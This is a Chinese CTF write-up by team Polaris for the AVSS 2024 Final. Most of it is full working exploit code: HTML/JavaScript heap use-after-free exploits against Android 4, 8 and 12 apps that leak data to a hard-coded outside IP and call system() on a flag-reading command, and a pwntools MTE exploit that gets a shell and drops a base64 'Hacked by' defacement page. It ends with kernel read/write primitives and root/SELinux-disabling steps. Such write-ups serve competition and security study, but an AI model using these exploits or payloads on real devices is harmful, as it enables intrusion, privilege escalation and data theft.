本次 AVSS 2024 Final,我们 Polaris 战队排名第1。

排名 队伍 总分
1 Polaris 8440.96
2 Nu1L 5308.2
3 emmmmmmm2024 3624.88
4 AAA 1624
5 r3kapig 820.12

Allocator

Android 4

先申请一些堆,间接释放后,再申请一些堆,由于UAF,此时堆指针数组里肯定有两个一样的指针,为了找出哪些数组下标里存的指针一样,可以通过show泄漏堆中的数据进行两两比较,建立一个map。然后利用UAF把其中一个下标对应的指针delete进行释放,那么此时可以通过另一个下标对释放后的堆进行操作。这里我们可以堆喷FileIO对象,堆喷成功后可以通过show泄漏so库的地址,然后伪造vtable后进行触发即可。

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <script type="text/javascript">
        var xhr = new XMLHttpRequest();
        function stringToHex(str) {
           var val="";
           for(var i = 0; i < str.length; i++){
              val += str.charCodeAt(i).toString(16);
           }
           return val;
       }
       function hexToString(hex) {
         var str = '';
         for (var i = 0; i < hex.length; i += 2) {
            str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
         }
         return str;
       }
       var sleep = function(time) {
         var startTime = new Date().getTime() + parseInt(time, 10);
          while(new Date().getTime() < startTime) {}
       };
       function log(info) {
          xhr.open('GET', 'http://47.109.49.88/' + info, true);
          xhr.send();
       }
 
 
       function add(index,size,key) {
            window._jsbridge.add(index,key,size);
            //sleep(1000);
       }
       function edit(index,content) {
            window._jsbridge.edit(index,stringToHex(content));
            //sleep(500);
       }
       function edit_hex(index,content) {
            window._jsbridge.edit(index,content);
            //sleep(500);
       }
       function show(index,size) {
            ans = window._jsbridge.show(index,size);
            return ans;
       }
        
       function del(index) {
            window._jsbridge.delete(index);
            //sleep(500);
       }
       function openfile(filename,mode) {
            window._jsbridge.openfile(filename,mode);
            //sleep(500);
       }
       function writefile(content) {
            window._jsbridge.writefile(stringToHex(content));
            //sleep(500);
       }
       function writefile_hex(content) {
            window._jsbridge.writefile(content);
            //sleep(500);
       }
       function readfile() {
            ans = window._jsbridge.readfile();
            //sleep(500);
            return ans;
       }

       function closefile() {
            window._jsbridge.closefile();
            //sleep(500);
       }

       function getPadding(size,c) {
            var ans = '';
            for (var i=0;i<size;i++) {
               ans += c;
            }
            return ans;
       }
       var heap_addr=null;
       var elf_base=null;
 
 
       function p32(value) {
          var t = value.toString(16);
          while (t.length != 8) {
             t = '0' + t;
          }
          var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
          //alert(ans);
          return ans;
       }

       function u32(s) {
         hex = stringToHex(s);
         if (hex.indexOf('0x') === 0) {
            hex = hex.slice(2);
         }
         if (hex.length % 2 !== 0) {
            hex = '0' + hex;
         }
         var bytes = [];
         for (var i = 0; i < hex.length; i += 2) {
            bytes.push(hex.substr(i, 2));
         }
         bytes.reverse();
         var littleEndianHex = bytes.join('');
         return parseInt(littleEndianHex, 16);
      }

       //将系统中已有的0x100的碎片尽可能申请掉
       for (var i=0;i<10;i++) {
         add(48,0x1000,"key100");
       }
       add(49,0x1000,"key100");

       //将系统中已有的0x10的碎片尽可能申请掉
       for (var i=0;i<200;i++) {
         add(0,0x4,"key10");
       }
       //添加一些0x90的堆
       for (var i=0;i<48;i++) {
         add(i,0x90,"key" + i);
         edit(i,getPadding(0x90,String.fromCharCode(48+i)))
       }
       //间接的释放一些0x90的堆
       for (var i=0;i<48;i+=2) {
         del(i);
       }
       //重新申请0x90的堆回来
       for (var i=1;i<48;i+=2) {
         add(i,0x90,"key" + i);
       }

       //释放一个0x100的堆,用于给一些中间变量内存申请
       del(48);

       //查找堆块,找出具有相同堆指针的下标
       map = {};
       //寻找指针一样的下标
       for (var i=0;i<48;i+=2) {
         var x = stringToHex(getPadding(0x5,String.fromCharCode(48+i)));
         for (var j=1;j<48;j+=2) {
            var y = show(j,0x8);
            //log("map " + x  + "=" + y);
            if (y.indexOf(x) != -1) {
               map[i] = j;
               log("map" + i  + "=" + j);
               break;
            }
         }
       }
       //利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
       for (var i=0;i<0x48;i+=2) {
            if (map[i]) {
               del(i);
            }
       }
       log("spray done");
       //对gfileio结构体进行堆喷,让其落在UAF的堆中
       //这里不断的openfile,然后查找内存,如果找到部分字符串ta/com.avss则堆喷成功
       //注意show的参数大小size也会申请内存,会造成影响,因此采用4,影响较小
       var found = -1;
       var mode = -1;
       for (var i=0;i<200;i++) {
         openfile("for_leak",0);
         //检查是否成功堆喷站位
         for (var j in map) {
            var y = show(map[j],0x9);
            if (hexToString(y).indexOf("ta/com.a") === 0) {
               //log("success0");
               found = map[j];
               mode = 0;
               break;
            } else if (y.indexOf('dc') != -1) {
               //log("success1");
               found = map[j];
               mode = 1;
               break;
            }
         }
         if (found != -1) {
            break;
         }
       }

       var found_show = -1;
       for (var j in map) {
            var y = show(map[j],0x9);
            if (y.indexOf("100000001300000073") != -1) {
               found_show = map[j];
               break;
            }
       }
       log("found=" + found);
       //log("show=" + found_show);
       var gfileio_off;
       if (mode == 0) {
         gfileio_off = 0x38;
       } else {
         gfileio_off = 0x8;
       }

   //成功堆喷gfileio,接下来可以利用UAF进行泄漏和代码执行了
   var leak = hexToString(show(found, 0x90));
   var so_base = u32(leak.substring(gfileio_off, gfileio_off+4)) - 0x19bdc;
   var gfileio_ptr_addr =  so_base + 0x1C7C4;
   var fake_vtable = so_base + 0x19CD4;
   var bss = so_base + 0x1c7cc;
   var leak_libc = hexToString(show(found_show, 16));
   //var libc_base = u32(leak_libc.substring(12, 16)) - 0x4d100;
   var libc_base = 0xb6e92000;
   var system_addr = libc_base + 0x000246A0;
   var arg1 = 0x61616161;
   var arg2 = 0x62626262;

   var msg = "so_base=" + so_base.toString(16);
   msg += "&libc_base=" + libc_base.toString(16);
   msg += "&system_addr=" + system_addr.toString(16);
   log(msg);
   var payload = stringToHex(getPadding(gfileio_off,"a"));
   payload += p32(fake_vtable) + stringToHex(getPadding(0x18 - 4,"a"));
   payload += p32(system_addr+1) + stringToHex(";log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`;");
   edit_hex(found,payload);
   log("edit done");
   //sleep(15000);

   var payload2 = stringToHex(getPadding(0xC,"b"));
   payload2 += p32(gfileio_ptr_addr)
   writefile_hex(payload2);
 
    </script>
</head>
 
 
<body>
  <div>haivk</div>
</body>
</html>

img

Android 8

首先申请一些堆然后间接释放,堆喷fopen时创建的FILE结构体,此时间接释放的这些堆中肯定存在至少一个被堆喷为FILE结构体,利用UAF继续将这些间隔的堆释放然后重新申请,通过show泄漏堆中残留的libc指针;接下来的做法跟Android 4类似,想要找到具有同样指针的数组下标,但是由于0x18的堆太小,申请回来后内部的数据基本不是原来的(堆管理器破坏了原来的数据),因此不能直接show来获得内容然后比较。可以利用show的8字节溢出来泄漏超出8字节的内容。然后比较每个堆超出8字节的内容,如果一样则说明这两个堆指针是一样的。找到下标后进行堆喷,然后利用UAF伪造vtable并触发。

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <script type="text/javascript">
        var xhr = new XMLHttpRequest();
        function stringToHex(str) {
           var val="";
           for(var i = 0; i < str.length; i++){
              val += str.charCodeAt(i).toString(16).padStart(2,'0');
           }
           return val;
       }
       function hexToString(hex) {
         var str = '';
         for (var i = 0; i < hex.length; i += 2) {
            str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
         }
         return str;
       }
       var sleep = function(time) {
         var startTime = new Date().getTime() + parseInt(time, 10);
          while(new Date().getTime() < startTime) {}
       };
       function log(info) {
          xhr.open('GET', 'http://47.109.49.88/' + info, true);
          xhr.send();
       }
 
 
       function add(index,size,key) {
            window._jsbridge.add(index,key,size);
            //sleep(1000);
       }
       function edit(index,content) {
            window._jsbridge.edit(index,stringToHex(content));
            //sleep(500);
       }
       function edit_hex(index,content) {
            window._jsbridge.edit(index,content);
            //sleep(500);
       }
       function show(index,size) {
            ans = window._jsbridge.show(index,size);
            return ans;
       }
        
       function del(index) {
            window._jsbridge.delete(index);
            //sleep(500);
       }
       function openfile(filename,mode) {
            window._jsbridge.openfile(filename,mode);
            //sleep(500);
       }
       function writefile(content) {
            window._jsbridge.writefile(stringToHex(content));
            //sleep(500);
       }
       function writefile_hex(content) {
            window._jsbridge.writefile(content);
            //sleep(500);
       }
       function readfile() {
            ans = window._jsbridge.readfile();
            //sleep(500);
            return ans;
       }

       function closefile() {
            window._jsbridge.closefile();
            //sleep(500);
       }

       function getPadding(size,c) {
            var ans = '';
            for (var i=0;i<size;i++) {
               ans += c;
            }
            return ans;
       }
       var heap_addr=null;
       var elf_base=null;
 
 
       function p32(value) {
          var t = value.toString(16);
          while (t.length != 8) {
             t = '0' + t;
          }
          var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
          //alert(ans);
          return ans;
       }

       function p64(value) {
          var t = value.toString(16);
          while (t.length != 16) {
             t = '0' + t;
          }
          var ans = t.substr(14,2) + t.substr(12,2) + t.substr(10,2) + t.substr(8,2) + t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
          //alert(ans);
          return ans;
       }

       function u32(s) {
         hex = stringToHex(s);
         if (hex.indexOf('0x') === 0) {
            hex = hex.slice(2);
         }
         if (hex.length % 2 !== 0) {
            hex = '0' + hex;
         }
         var bytes = [];
         for (var i = 0; i < hex.length; i += 2) {
            bytes.push(hex.substr(i, 2));
         }
         bytes.reverse();
         var littleEndianHex = bytes.join('');
         return parseInt(littleEndianHex, 16);
      }

      //泄漏libc
      for (var i=0;i<10;i++) {
         add(i,0xa6f-0x8,"leak");
       }
       for (var i=0;i<10;i+=2) {
         del(i);
       }
       //fopen时申请的堆大小为0xa6f
       for (var i=0;i<100;i++) {
         openfile("libc_leak",1);
       }
       for (var i=0;i<10;i+=2) {
         del(i);
       }
       var libc_base = -1;
       var system_addr = -1;
       var heap_addr = -1;
       var leak;
       for (var i=0;i<50;i++) {
         add(49,0xa6f-0x8,"leak");
         x = show(49,0x60);
         if (x.substring(0x90,0x92) == "c0" && x.substring(0xa0,0xa2) == "c8") {
            leak = hexToString(x);
            libc_base = u32(leak.substring(0x48, 0x50)) - 0x731c0;
            system_addr = libc_base + 0x64144;
            heap_addr = u32(leak.substring(0x8, 0x10));
            log("libc_base=" + libc_base.toString(16) + "&system_addr=" + system_addr.toString(16) + "&heap_addr=" + heap_addr.toString(16));
            break;
         }
         
       }
       
       //将系统中已有的0x18的碎片尽可能申请掉
       for (var i=0;i<200;i++) {
         add(0,0x18,"alloc");
       }

       //记录每个堆溢出的8字节内容
       overflow_map = {};
       //记录每个堆的前一个堆是哪个
       prev_map = {};
       prev_map_values = [];

       //添加一些0x18的堆
       for (var i=0;i<32;i++) {
         add(i,0x18,"key" + i);
         edit(i,getPadding(0x18,String.fromCharCode(48+i)))
       }

       //记录每个堆块的超出8字节的内容
       for (var i=0;i<32;i++) {
         var y = show(i,0x20).substring(0x30,0x40);
         //搜索keyxxxx
         overflow_map[i] = y;
         var k = hexToString(y);
         if (k.indexOf("key") == 0) {
            var n = parseInt(k.substring(3));
            log("prev_map" + n  + "=" + i);
            prev_map[n] = i;
            prev_map_values.push(i);
         }
       }

       //释放一些0x18的堆
       for (var i=0;i<32;i++) {
         //不要释放作为某个堆的前一个堆
         if (prev_map_values.indexOf(i) != -1)
            continue;
         del(i);
       }
       //重新申请0x18的堆回来
       for (var i=32;i<49;i++) {
         add(i,0x18,"key" + i);
       }

       //查找堆块,找出具有相同堆指针的下标
       map = {};
       //寻找指针一样的下标
       for (var i=0;i<32;i++) {
         if (prev_map_values.indexOf(i) != -1)
            continue;
         var x = overflow_map[i];
         for (var j=32;j<49;j++) {
            var y = show(j,0x20);
            //log("map " + x  + "=" + y);
            if (y.substring(0x30,0x40) == x) {
               map[i] = j;
               log("map" + i  + "=" + j);
               break;
            }
         }
       }
       //利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
       for (var i=0;i<32;i++) {
            if (map[i]) {
               del(i);
            }
       }
       log("spray done");
       //对gfileio结构体进行堆喷,让其落在UAF的堆中
       //这里不断的openfile,然后查找内存,如果找到部分字符串ta/com.avss则堆喷成功
       //注意show的参数大小size也会申请内存,会造成影响,因此采用4,影响较小
       var found = -1;
       var mode = -1;
       var pre = -1;
       for (var i=0;i<300;i++) {
         openfile("spray_gfileio",0);
         //检查是否成功堆喷站位
         for (var j in map) {
            if (prev_map[j]) {
               //log("prev_map" + j  + "=" + prev_map[j]);
               var y = show(prev_map[j],0x20);
               if (y.substring(0x30,0x32) == "08" && y.substring(0x33,0x34) == "3") {
                  found = map[j];
                  pre = prev_map[j];
                  break;
               }
            }
         }
         if (found != -1) {
            break;
         }
       }
       log("found=" + found + "&pre=" + pre);

   //成功堆喷gfileio,接下来可以利用UAF进行泄漏和代码执行了
   leak = hexToString(show(pre, 0x20));
   var so_base = u32(leak.substring(0x18, 0x20)) - 0x34308;
   //ldp x1, x0, [x0, #8] ; br x1
   var gadget_addr = libc_base + 0x66078;
   edit_hex(49,stringToHex(getPadding(0x18,"a")) + p64(gadget_addr) + stringToHex("log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`"));
   var fake_vtable = heap_addr;
   var msg = "so_base=" + so_base.toString(16);
   log(msg);
   var payload = stringToHex(getPadding(0x18,"b")) + p64(fake_vtable);
   edit_hex(pre,payload);
   payload = p64(system_addr) + p64(heap_addr + 0x10);
   edit_hex(found,payload);
   log("edit done");
   //sleep(15000);

   writefile("trigger");
 
    </script>
</head>
 
 
<body>
  <div>haivk</div>
</body>
</html>

Android 12

做法更加简单,找到相同指针的下标后,直接堆喷FILE结构体,泄漏地址后伪造FILE结构体中的指针。

<!DOCTYPE html>
<html>
<head>
    <title></title>
    <script type="text/javascript">
        var xhr = new XMLHttpRequest();
        function stringToHex(str) {
           var val="";
           for(var i = 0; i < str.length; i++){
              val += str.charCodeAt(i).toString(16).padStart(2,'0');
           }
           return val;
       }
       function hexToString(hex) {
         var str = '';
         for (var i = 0; i < hex.length; i += 2) {
            str += String.fromCharCode(parseInt(hex.substr(i, 2), 16));
         }
         return str;
       }
       var sleep = function(time) {
         var startTime = new Date().getTime() + parseInt(time, 10);
          while(new Date().getTime() < startTime) {}
       };
       function log(info) {
          xhr.open('GET', 'http://47.109.49.88/' + info, true);
          xhr.send();
       }
 
 
       function add(index,size,key) {
            window._jsbridge.add(index,key,size);
            //sleep(1000);
       }
       function edit(index,content) {
            window._jsbridge.edit(index,stringToHex(content));
            //sleep(500);
       }
       function edit_hex(index,content) {
            window._jsbridge.edit(index,content);
            //sleep(500);
       }
       function show(index,size) {
            ans = window._jsbridge.show(index,size);
            return ans;
       }
        
       function del(index) {
            window._jsbridge.delete(index);
            //sleep(500);
       }
       function openfile(filename,mode) {
            window._jsbridge.openfile(filename,mode);
            //sleep(500);
       }
       function writefile(content) {
            window._jsbridge.writefile(stringToHex(content));
            //sleep(500);
       }
       function writefile_hex(content) {
            window._jsbridge.writefile(content);
            //sleep(500);
       }
       function readfile() {
            ans = window._jsbridge.readfile();
            //sleep(500);
            return ans;
       }

       function closefile() {
            window._jsbridge.closefile();
            //sleep(500);
       }

       function getPadding(size,c) {
            var ans = '';
            for (var i=0;i<size;i++) {
               ans += c;
            }
            return ans;
       }
       var heap_addr=null;
       var elf_base=null;
 
 
       function p32(value) {
          var t = value.toString(16);
          while (t.length != 8) {
             t = '0' + t;
          }
          var ans = t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
          //alert(ans);
          return ans;
       }

       function p64(value) {
          var t = value.toString(16);
          while (t.length != 16) {
             t = '0' + t;
          }
          var ans = t.substr(14,2) + t.substr(12,2) + t.substr(10,2) + t.substr(8,2) + t.substr(6,2) + t.substr(4,2) + t.substr(2,2) + t.substr(0,2);
          //alert(ans);
          return ans;
       }

       function u32(s) {
         hex = stringToHex(s);
         if (hex.indexOf('0x') === 0) {
            hex = hex.slice(2);
         }
         if (hex.length % 2 !== 0) {
            hex = '0' + hex;
         }
         var bytes = [];
         for (var i = 0; i < hex.length; i += 2) {
            bytes.push(hex.substr(i, 2));
         }
         bytes.reverse();
         var littleEndianHex = bytes.join('');
         return parseInt(littleEndianHex, 16);
      }

       //添加一些0xac0的堆
       for (var i=0;i<32;i++) {
         add(i,0xac0-0x8,"key" + i);
         edit(i,getPadding(0xac0-0x8,String.fromCharCode(48+i)))
       }

       //释放一些0xac0的堆
       for (var i=0;i<32;i+=2) {
         del(i);
       }
       //重新申请0xac0的堆回来
       for (var i=32;i<49;i++) {
         add(i,0xac0-0x8,"key" + i);
       }

       //查找堆块,找出具有相同堆指针的下标
       map = {};
       //寻找指针一样的下标
       for (var i=0;i<32;i+=2) {
         var x = stringToHex(getPadding(0x10,String.fromCharCode(48+i)));
         for (var j=32;j<49;j++) {
            var y = show(j,0x10);
            //log("map " + x  + "=" + y);
            if (y == x) {
               map[i] = j;
               log("map" + i  + "=" + j);
               break;
            }
         }
       }
       //利用UAF释放,可以在具有相同指针的另一个下标进行UAF操作
       for (var i=0;i<32;i+=2) {
            if (map[i]) {
               del(i);
            }
       }
       log("spray done");
       //对FILE结构体进行堆喷,让其落在UAF的堆中
       //这里不断的openfile,然后查找内存
       //注意show的参数大小size也会申请内存,会造成影响
       var found = -1;
       var libc_base = -1;
       var system_addr = -1;
       var heap_addr = -1;
       var leak;
       for (var i=0;i<100;i++) {
         openfile("spray_FILE",1);
         //检查是否成功堆喷站位
         for (var j in map) {
            var x = show(map[j],0x60);
            //log("x=" + x);
            if ((x.substr(0x90,0x2) == "58" && x.substr(0xa0,0x2) == "d0")) {
               leak = hexToString(x);
               //__sclose
               libc_base = u32(leak.substr(0x48, 8)) - 0xA8C58;
               system_addr = libc_base + 0x60CC4;
               heap_addr = u32(leak.substr(0x8, 6) + "\0\0");
               found = map[j];
               break;
            }
         }
         if (found != -1) {
            break;
         }
       }
       log("heap_addr=" + heap_addr.toString(16));
       log("libc_base=" + libc_base.toString(16) + "&system_addr=" + system_addr.toString(16));
       
       //log("found=" + found);

   //成功堆喷FILE,接下来可以利用UAF进行泄漏和代码执行了
   var payload = show(found,0x40);
   payload += p64(heap_addr + 0x60)
   payload += p64(system_addr);
   payload += p64(0) + p64(0);
   payload += p64(1);
   payload += p64(heap_addr - 0x10);
   payload += stringToHex('log -t FLAG `cat /data/data/com.avss.testallocator/files/flag`');
   edit_hex(found,payload);
   log("edit done");
   //sleep(15000);

   closefile();
 
    </script>
</head>
 
 
<body>
  <div>haivk</div>
</body>
</html>

img

MTE

HNS_PA_RW

free后没有清空指针,存在UAF

img

内存分配器使用的是Chromium中的PartitionAlloc分配器,该分配器在free时会对内存TAG加1,申请时如果有合适空闲堆块则直接申请出来不改变TAG。因此连续的申请释放同样大小的堆15次,可以得到与最初的堆一样的TAG,就可以对其进行进行访问了。通过堆喷Node结构体到content区,然后利用UAF控制Node结构体实现任意地址读写。调试发现在heap_addr - 0x281f0处有so中的指针,因此可以利用任意地址读写泄漏,但是此处的内存TAG不知道。调试了内核,发现一个有趣的特性,一个非法的TAG内存地址不经过用户态处理,直接传给内核系统调用,不会导致系统崩溃,只会使得内核进行el异常,内核会自动捕捉该异常并结束系统调用回到用户态。

而题目的show函数正好是这样设计的,直接把content指针交给了write系统调用。

img

因此可以对heap_addr - 0x281f0处的内存地址TAG进行爆破。如果write成功调用证明TAG正确。最后可以对free函数的指针进行劫持实现代码执行。

img

获得shell后,直接替换/sdcard/Documents/cache.html文件即可达到演示效果。

#coding:utf8
from pwn import *

#sh = process(argv=['./qemu-aarch64','-L','./','./libpa.so'])
libc = ELF('./system/lib64/libc.so')

#sh = process(argv=['./qemu-aarch64','-L','./','-g','1235','./libpa.so'])
sh = remote('192.168.10.16',12345)

#sh = remote('172.20.10.6',12345)
#libc = ELF('./libc11.so')

def add(size,content):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('size:',str(size))
   sh.sendafter('content:',content)

def edit(index,content):
   sh.sendlineafter('Your choice:','2')
   sh.sendlineafter('index:',str(index))
   sh.sendafter('content:',content)

def delete(index):
   sh.sendlineafter('Your choice:','3')
   sh.sendlineafter('index:',str(index))

def show(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('index:',str(index))

add(0x18,'a'*0x18) #0
add(0x40,'b'*0x40) #1
delete(0)
for i in range(2,16):
   add(0x18,'b'*0x18)
   delete(i)

delete(1)
#fake Node struct
#set size = 0x20
add(0x18,b'c'*0x8 + p32(0x20) + b'\n') #16
for i in range(17,31):
   add(0x18,b'd'*0x18)
   delete(i)

add(0x18,b'd'*0x18) #31
show(0)
sh.recv(1)
sh.recv(0x10)
heap_addr = u64(sh.recv(8)) & 0xffffffffffff
print('heap_addr=',hex(heap_addr))
leak_ptr_addr = heap_addr - 0x281f0
print('leak_ptr_addr=',hex(leak_ptr_addr))
#guess tag
for i in range(0x10):
   #fake 31 Node struct
   edit(0,b'a'*0x8 + p32(0x8) + p32(0) + p64((i << 56) + leak_ptr_addr) + b'\n')
   show(31)
   sh.recv(1)
   leak_value = u64(sh.recv(8))
   if leak_value & 0xFF == 0xdc:
      print('found TAG=',hex(i))
      break

elf_base = leak_value - 0x12adc
# ldr x9, [x21] ldr x0, [x8] ; mov x1, x19 ; blr x9
gadget_addr = elf_base + 0x9BC70
putchar_got_addr = elf_base + 0xc44a8
print('elf_base=',hex(elf_base))
#leak libc
edit(0,b'a'*0x8 + p32(0x8) + p32(0) + p64(putchar_got_addr) + b'\n')
show(31)
sh.recv(1)
libc_base = u64(sh.recv(8)) - libc.sym['putchar']
system_addr = libc_base + libc.sym['system']
print('libc_base=',hex(libc_base))
print('system_addr=',hex(system_addr))

free_vtable_addr = elf_base + 0xCF148
bss = elf_base + 0xCF2E0
arg0_ptr_addr = elf_base + 0xcf000
heap_arr_addr = elf_base + 0xCF188

cmd = b'/bin/sh\x00'
#fake a vtable
edit(0,b'a'*0x8 + p32(0x100) + p32(0) + p64(bss) + b'\n')
edit(31,cmd.ljust(0x28,b'b') + p64(system_addr) + b'\n')

#set free vtable ptr to fake
edit(0,b'a'*0x8 + p32(0x100) + p32(0) + p64(free_vtable_addr) + b'\n')
edit(31,p64(bss) + b'\n')

#trigger
delete(31)
sleep(1)
#run shell to replace /sdcard/Documents/cache.html
sh.sendline('echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+SGFja2VkIGJ5IEhhMXZrPC90aXRsZT4KICAgIDxzdHlsZT4KICAgICAgICBib2R5IHsKICAgICAgICAgICAgbWFyZ2luOiAwOwogICAgICAgICAgICBiYWNrZ3JvdW5kOiBibGFjazsKICAgICAgICAgICAgY29sb3I6ICMwMGZmMDA7CiAgICAgICAgICAgIGZvbnQtZmFtaWx5OiAnQ291cmllciBOZXcnLCBDb3VyaWVyLCBtb25vc3BhY2U7CiAgICAgICAgICAgIG92ZXJmbG93OiBoaWRkZW47CiAgICAgICAgfQogICAgICAgIGNhbnZhcyB7CiAgICAgICAgICAgIGRpc3BsYXk6IGJsb2NrOwogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogMDsKICAgICAgICAgICAgbGVmdDogMDsKICAgICAgICB9CiAgICAgICAgLm1lc3NhZ2UgewogICAgICAgICAgICBwb3NpdGlvbjogYWJzb2x1dGU7CiAgICAgICAgICAgIHRvcDogNTAlOwogICAgICAgICAgICBsZWZ0OiA1MCU7CiAgICAgICAgICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlKC01MCUsIC01MCUpOwogICAgICAgICAgICBmb250LXNpemU6IDNyZW07CiAgICAgICAgICAgIGNvbG9yOiAjMDBmZjAwOwogICAgICAgICAgICB6LWluZGV4OiAxOwogICAgICAgICAgICB0ZXh0LXNoYWRvdzogMHB4IDBweCA1cHggIzAwZmYwMDsKICAgICAgICB9CiAgICA8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5PgoKPGRpdiBjbGFzcz0ibWVzc2FnZSI+SGFja2VkIGJ5IEhhMXZrPC9kaXY+CjxjYW52YXMgaWQ9Im1hdHJpeENhbnZhcyI+PC9jYW52YXM+Cgo8c2NyaXB0PgogICAgY29uc3QgY2FudmFzID0gZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoIm1hdHJpeENhbnZhcyIpOwogICAgY29uc3QgY3R4ID0gY2FudmFzLmdldENvbnRleHQoIjJkIik7CgogICAgY2FudmFzLndpZHRoID0gd2luZG93LmlubmVyV2lkdGg7CiAgICBjYW52YXMuaGVpZ2h0ID0gd2luZG93LmlubmVySGVpZ2h0OwoKICAgIGNvbnN0IGNoYXJhY3RlcnMgPSAiMDEyMzQ1Njc4OWFiY2RlZmdoaWprbG1ub3BxcnN0dXZ3eHl6QUJDREVGR0hJSktMTU5PUFFSU1RVVldYWVpAIyQlXiYqKCkiOwogICAgY29uc3QgZm9udFNpemUgPSAxNjsKICAgIGNvbnN0IGNvbHVtbnMgPSBjYW52YXMud2lkdGggLyBmb250U2l6ZTsKCiAgICBjb25zdCBkcm9wcyA9IFtdOwogICAgZm9yIChsZXQgeCA9IDA7IHggPCBjb2x1bW5zOyB4KyspIHsKICAgICAgICBkcm9wc1t4XSA9IE1hdGgucmFuZG9tKCkgKiBjYW52YXMuaGVpZ2h0OwogICAgfQoKICAgIGZ1bmN0aW9uIGRyYXcoKSB7CiAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICJyZ2JhKDAsIDAsIDAsIDAuMDUpIjsKICAgICAgICBjdHguZmlsbFJlY3QoMCwgMCwgY2FudmFzLndpZHRoLCBjYW52YXMuaGVpZ2h0KTsKCiAgICAgICAgY3R4LmZpbGxTdHlsZSA9ICIjMDBmZjAwIjsKICAgICAgICBjdHguZm9udCA9IGZvbnRTaXplICsgInB4IG1vbm9zcGFjZSI7CgogICAgICAgIGZvciAobGV0IGkgPSAwOyBpIDwgZHJvcHMubGVuZ3RoOyBpKyspIHsKICAgICAgICAgICAgY29uc3QgdGV4dCA9IGNoYXJhY3RlcnNbTWF0aC5mbG9vcihNYXRoLnJhbmRvbSgpICogY2hhcmFjdGVycy5sZW5ndGgpXTsKICAgICAgICAgICAgY3R4LmZpbGxUZXh0KHRleHQsIGkgKiBmb250U2l6ZSwgZHJvcHNbaV0gKiBmb250U2l6ZSk7CgogICAgICAgICAgICBpZiAoZHJvcHNbaV0gKiBmb250U2l6ZSA+IGNhbnZhcy5oZWlnaHQgJiYgTWF0aC5yYW5kb20oKSA+IDAuOTc1KSB7CiAgICAgICAgICAgICAgICBkcm9wc1tpXSA9IDA7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGRyb3BzW2ldKys7CiAgICAgICAgfQogICAgfQoKICAgIHNldEludGVydmFsKGRyYXcsIDMzKTsKCiAgICB3aW5kb3cuYWRkRXZlbnRMaXN0ZW5lcigncmVzaXplJywgKCkgPT4gewogICAgICAgIGNhbnZhcy53aWR0aCA9IHdpbmRvdy5pbm5lcldpZHRoOwogICAgICAgIGNhbnZhcy5oZWlnaHQgPSB3aW5kb3cuaW5uZXJIZWlnaHQ7CiAgICB9KTsKPC9zY3JpcHQ+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d > /sdcard/Documents/cache.html')
sleep(2)

sh.interactive()

Kernel: ksocket

Android 7 - Pixel 1

在sys_avss_getscore函数中,fput的位置不对,在fput的后面,此时如果有其他进程对sockfd进行close,将会释放sock * sk对象,但是sk指针仍然会在后面的代码中使用,造成UAF。为了让漏洞竞争成功率更高,可以让程序走到msleep分支。要走到此分支,需要get_avss_status返回2

img

即需要avss->peer不为空。

img

也就是有一个客户端client,对server进行connect后,server->peer = client;只要不对client进行close,则server->peer将一直不为0。因此我们有足够的时间可以制造sock *对象的UAF,然后利用setxattr伪造sock *对象。

sys_avss_getscore函数尾部主要是调用了sock_put(sk)。

img

通过对sock_put的逆向,调用链有sock_put -> sk_free -> __sk_free,其中__sk_free中有一个函数指针调用

img

我们可以寻找合适的gadget,执行kernel_setsockopt,我们的目标是执行kernel_setsockopt中的set_fs(KERNEL_DS),但是不要执行尾部的set_fs(oldfs)。

img

这就需要伪造sock->ops->setsockopt为其他合适的gadget。由于ARM64的特性,BLR并不会将返回地址压栈溢,因此只需要再调用一层同样栈大小的函数__sk_backlog_rcv,该函数可以进一步执行一个新的函数指针。只需要在该函数内部执行add rsp , xxxx ; ret调整栈,ret会返回到__sk_backlog_rcv,此时__sk_backlog_rcv的栈与kernel_setsockopt的栈是同一个,__sk_backlog_rcv会直接返回到kernel_setsockopt的上层__sk_free,因此绕过了kernel_setsockopt尾部的set_fs(old_fs)。

img

函数执行完后会一路返回到用户态。由于set_fs(old_fs)没有执行,此时用户态可以直接读写内核地址空间。任意地址读写原语如下。

int read_at_address_pipe(void* address, void* buf, ssize_t len) {
    int ret = 1;
    int pipes[2];

    if(pipe(pipes))
    return 1;

    if(write(pipes[1], address, len) != len)
        goto end;
    if(read(pipes[0], buf, len) != len)
        goto end;

    ret = 0;
end:
    close(pipes[1]);
    close(pipes[0]);
    return ret;
}

int write_at_address_pipe(void* address, void* buf, ssize_t len) {
    int ret = 1;
    int pipes[2];

    if(pipe(pipes))
    return 1;

    if(write(pipes[1], buf, len) != len)
        goto end;
    if(read(pipes[0], address, len) != len)
        goto end;

    ret = 0;
end:
    close(pipes[1]);
    close(pipes[0]);
    return ret;
}

搜索cred结构体然后直接改写uid等字段实现root,通过任意地址读写,改写selinux_enforcing为0,关闭selinux。

#define _GNU_SOURCE
